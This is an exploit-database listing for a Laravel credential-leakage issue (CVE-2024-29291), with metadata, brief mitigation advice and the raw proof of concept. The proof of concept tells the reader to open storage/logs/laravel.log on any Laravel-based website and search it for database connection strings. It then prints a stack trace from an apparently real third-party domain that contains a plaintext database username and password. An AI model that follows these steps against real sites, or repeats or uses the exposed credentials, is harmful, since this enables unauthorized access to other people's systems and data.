header-logo
Suggest Exploit
vendor:
Laravel Framework
by:
Huseein Amer
6.1
CVSS
HIGH
Credential Leakage
522
CWE
Product Name: Laravel Framework
Affected Version From: 8.*
Affected Version To: 11.*
Patch Exists: NO
Related CWE: CVE-2024-29291
CPE: laravel
Metasploit:
Other Scripts:
Platforms Tested:
2024

Laravel Framework 11 – Credential Leakage

An attacker can access sensitive credentials including username, password, and host information by navigating to the storage/logs/laravel.log file in Laravel-based websites and searching for 'PDO->__construct('mysql:host='. This can lead to unauthorized access to the system.

Mitigation:

To mitigate this vulnerability, ensure that sensitive information such as credentials are not stored in log files. Regularly monitor and restrict access to log files to authorized personnel only.
Source

Exploit-DB raw data:

# Exploit Title: Laravel Framework 11 - Credential Leakage
# Google Dork: N/A
# Date: [2024-04-19]
# Exploit Author: Huseein Amer
# Vendor Homepage: [https://laravel.com/]
# Software Link: N/A
# Version: 8.* - 11.* (REQUIRED)
# Tested on: [N/A]
# CVE : CVE-2024-29291

Proof of concept:
Go to any Laravel-based website and navigate to storage/logs/laravel.log.

Open the file and search for "PDO->__construct('mysql:host=".
The result:
shell
Copy code
#0
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(70):
PDO->__construct('mysql:host=sql1...', 'u429384055_jscv', 'Jaly$$a0p0p0p0',
Array)
#1
/home/u429384055/domains/js-cvdocs.online/public_html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php(46):
Illuminate\Database\Connectors\Connector->createPdoConnection('mysql:host=sql1...',
'u429384055_jscv', 'Jaly$$a0p0p0p0', Array)
Credentials:
Username: u429384055_jscv
Password: Jaly$$a0p0p0p0
Host: sql1...